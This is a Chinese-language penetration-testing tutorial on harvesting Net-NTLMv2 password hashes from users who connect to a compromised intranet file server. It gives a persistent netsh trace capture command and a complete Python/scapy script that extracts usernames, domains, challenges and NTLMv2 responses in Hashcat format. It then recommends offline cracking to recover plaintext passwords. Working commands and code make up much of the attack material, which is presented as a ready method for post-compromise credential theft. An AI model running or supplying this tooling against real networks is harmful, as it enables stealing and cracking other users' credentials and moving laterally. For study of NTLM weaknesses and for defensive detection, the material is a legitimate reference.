渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash

2018-05-25

0x00 前言
0x01 简介
0x02 解决思路
0x03 Windows平台下进行网络抓包的方法
0x04 通过程序实现自动解析数据包

0x00 前言

在上篇文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》比较了NTLM hash和Net-NTLM hash的区别，本文将继续对Net-NTLM hash在内网渗透中的应用作介绍，解决一个有趣的问题：

如果获得了内网一个文件服务器的权限，如何获得更多用户的口令？

0x01 简介

本文将要介绍以下内容：

在windows平台下不安装任何第三方依赖库来进行网络抓包的方法
将数据包转换成pcap格式
使用Wireshark对数据包进行分析
编写Python提取出NTLMv2 Hash
使用Hashcat对Hash进行破解

0x02 解决思路

《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》中提到，客户端在连接文件服务器时，默认会将当前登录用户的密码Hash发送至服务器进行验证，如果验证失败，需要重新输入登录用户名和口令

如果获得了内网一个文件服务器的权限，那么内网中的其他主机在使用界面尝试访问该服务器时，首先会将本机的密码Hash发送至服务器进行验证，在服务器端抓取数据包能够获得NTLM Response，对NTLM Response的格式进行解析，提取特定信息，使用Hashcat尝试字典破解或者暴力破解，就有可能还原出用户本机的明文口令

所以，接下来需要解决第一个问题： 如何在文件服务器上抓取数据包？

0x03 Windows平台下进行网络抓包的方法

最常用的方法当然是安装Wireshark，但如果能找到一种不安装任何第三方依赖库、系统自带、直接用来抓包的方法岂不是更好？

方法当然是有的。

通过Windows系统自带的netsh中的trace功能能够实现不安装任何第三方依赖库，在命令行下进行抓包

支持Win7、Server2008R2及以后的系统，但不支持Server2008

官方说明文档：

https://technet.microsoft.com/en-us/library/dd878517%28v=ws.10%29.aspx

注：

netsh trace需要管理员权限

使用方法：

1.开启记录功能

netsh trace start capture=yes persistent=yes traceFile="c:\\test\\snmp1.etl" overwrite=yes correlation=no protocol=tcp ipv4.address=192.168.62.130 keywords=ut:authentication

参数说明：

capture=yes：开启抓包功能
persistent=yes：系统重启不关闭抓包功能，只能通过Netsh trace stop关闭
traceFile：指定保存记录文件的路径
overwrite=yes：如果文件存在，那么对其覆盖
correlation=no：不收集关联事件
protocol=tcp：抓取TPC协议
ipv4.address=192.168.62.130：限定只抓和服务器IP相关的数据包
keywords=ut:authentication：关键字为ut:authentication

加上以上限定参数是为了尽可能减小数据包大小，只筛选出SMB协议中同NTLMv2认证有关的内容

注：

同级目录下会生成系统的配置文件压缩包，后缀名为.cab

2.关闭记录功能

Netsh trace stop

关闭功能后，系统会将捕获到的数据包保存为etl结尾的文件

演示如下图

Alt text

3.查看etl文件

etl文件无法直接打开，需要借助工具windows message analyzer将其转换成.cap格式(Wireshark能够识别)

windows message analyzer下载地址：

https://www.microsoft.com/en-us/download/confirmation.aspx?id=44226

安装后打开etl文件，等待文件识别，识别成功后界面左下角提示Ready，如下图

Alt text

4.转换成.cap格式

File-Save as-Export，保存成cap包格式

使用Wireshark打开cap包文件，成功读取数据包文件，获得服务器上的数据包

从数据包中能找到SMB2协议，如下图

Alt text

提取其中的一组数据包，还原出NTLM v2的关键信息，如下图

Alt text

拼接固定格式： username::domain:challenge:HMAC-MD5:blob

使用Hashcat进行破解

注：

详细破解方法可参考文章《Windows下的密码hash——NTLM hash和Net-NTLM hash介绍》，本文不再演示

如果手动组装多个NTLM v2响应包，费事费力，所以需要编写程序自动解析数据包，提取出Hashcat可用的NTLM v2内容

这就是第二个问题： 如何通过程序实现自动解析数据包，提取NTLM v2的内容？

0x04 通过程序实现自动解析数据包

开发语言： python

python模块： scapy

说明地址：

https://github.com/invernizzi/scapy-http

安装：

easy_install scapy
easy_install scapy_http

scapy能够解析pcap数据包，所以在使用前，先使用Wireshark将.cap包转换成pcap包

scapy示例代码如下：

try:
    import scapy.all as scapy
except ImportError:
    import scapy

try:
    # This import works from the project directory
    import scapy_http.http
except ImportError:
    # If you installed this package via pip, you just need to execute this
    from scapy.layers import http

packets = scapy.rdpcap('test.pcap')
for p in packets:
    print('=' * 78)
    p.show()

自动解析出每个数据包的格式，分为Ethernet、IP、TCP和Raw，如下图

Alt text

程序开发思路：

1.对目的端口进行判断，选出SMB协议的数据包
2.筛选出NTLMv2 Response数据包
3.通过当前数据包获得username、domain、HMAC-MD5和blob
4.通过前一数据包获得Server challenge

具体实现：

1.选出SMB协议的数据包

目的端口为445

packets[p]['TCP'].dport == 445

2.筛选出NTLMv2 Response数据包

TCP payload包含特殊字符串NTLMSSP

packets[p]['Raw'].load.find('NTLMSSP') != -1

3.获得通过当前数据包获得username、domain、HMAC-MD5和blob

HMAC-MD5和blob为固定位置，直接通过固定偏移即可获得

username和domain为固定格式，2字节表示Length，2字节表示Maxlen，4字节表示偏移，值得注意的2字节长度实际上为int型数据，在读取时高低位要互换

例如读取出16进制数据为4601，实际计算的是0146转换成10进制的值，为326

DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode("hex"),16)
DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode("hex"),16)*256                             
DomainLength = DomainLength1 + DomainLength2

domain以Unicode格式保存，需要转换成ascii，具体实现是把字符串转换成数组，只取奇数位

DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]
DomainName = ''.join(DomainName)

完整实现代码如下：

#!/usr/bin/env python
try:
      import scapy.all as scapy
except ImportError:
      import scapy

try:
    # This import works from the project directory
      import scapy_http.http
except ImportError:
    # If you installed this package via pip, you just need to execute this
      from scapy.layers import http

packets = scapy.rdpcap('6.pcap')
Num = 1
for p in range(len(packets)):
      try:
            if packets[p]['TCP'].dport ==445:
                  TCPPayload = packets[p]['Raw'].load

                  if TCPPayload.find('NTLMSSP') != -1:
                        if len(TCPPayload) > 500:       
                              print ("----------------------------------Hashcat NTLMv2 No.%s----------------------------------"%(Num))
                              Num = Num+1
                              print ("PacketNum: %d"%(p+1))
                              print ("src: %s"%(packets[p]['IP'].src))
                              print ("dst: %s"%(packets[p]['IP'].dst))
                              Flag = TCPPayload.find('NTLMSSP')

                              ServerTCPPayload = packets[p-1]['Raw'].load

                              ServerFlag = ServerTCPPayload.find('NTLMSSP')
                              ServerChallenge = ServerTCPPayload[ServerFlag+24:ServerFlag+24+8].encode("hex")
                              print ("ServerChallenge: %s"%(ServerChallenge))


                              DomainLength1 = int(TCPPayload[Flag+28:Flag+28+1].encode("hex"),16)
                              DomainLength2 = int(TCPPayload[Flag+28+1:Flag+28+1+1].encode("hex"),16)*256                             
                              DomainLength = DomainLength1 + DomainLength2
                              #print DomainLength
                              DomainNameUnicode = TCPPayload[Flag+88:Flag+88+DomainLength]
                              DomainName = [DomainNameUnicode[i] for i in range(len(DomainNameUnicode)) if i%2==0]
                              DomainName = ''.join(DomainName)
                              print ("DomainName: %s"%(DomainName))                                                          

                              UserNameLength1 = int(TCPPayload[Flag+36:Flag+36+1].encode("hex"),16)
                              UserNameLength2 = int(TCPPayload[Flag+36+1:Flag+36+1+1].encode("hex"),16)*256                             
                              UserNameLength = UserNameLength1 + UserNameLength2
                              #print UserNameLength
                              UserNameUnicode = TCPPayload[Flag+88+DomainLength:Flag+88+DomainLength+UserNameLength]
                              UserName = [UserNameUnicode[i] for i in range(len(UserNameUnicode)) if i%2==0]
                              UserName = ''.join(UserName)
                              print ("UserName: %s"%(UserName))  

                              NTLMResPonseLength1 = int(TCPPayload[Flag+20:Flag+20+1].encode("hex"),16)
                              NTLMResPonseLength2 = int(TCPPayload[Flag+20+1:Flag+20+1+1].encode("hex"),16)*256
                              NTLMResPonseLength = NTLMResPonseLength1 + NTLMResPonseLength2                             
                              #print NTLMResPonseLength                                                         
                              NTLMResPonse = TCPPayload[Flag+174:Flag+174+NTLMResPonseLength].encode("hex")                                       
                              #print NTLMResPonse
                              print "Hashcat NTLMv2:"
                              print ("%s::%s:%s:%s:%s"%(UserName,DomainName,ServerChallenge,NTLMResPonse[:32],NTLMResPonse[32:]))

      except:
            pass

执行后程序输出如下图

Alt text

接着使用Hashcat进行破解即可

注：

解析pcap包的开源工具：

https://github.com/DanMcInerney/net-creds

但在解析ntlmv2的challenge时会出现bug

0x05 补充

对于文件服务器，如果开启了NetBIOS over TCP/IP，那么禁用445端口后，系统会尝试使用139端口进行连接

测试如下：

服务器禁用445端口，开启139端口

客户端尝试连接，SMB协议使用139端口，抓包如下图

Alt text

如果禁用了NetBIOS over TCP/IP，那么禁用445端口后，无法使用文件共享

0x06 小结

本文解决了在获得内网一个文件服务器的权限后，获得更多用户的口令的问题。

通过Windows命令行抓包获得SMB协议内容，编写程序自动提取NTLMv2 Hash，使用Hashcat进行破解，有可能还原出用户本机的明文口令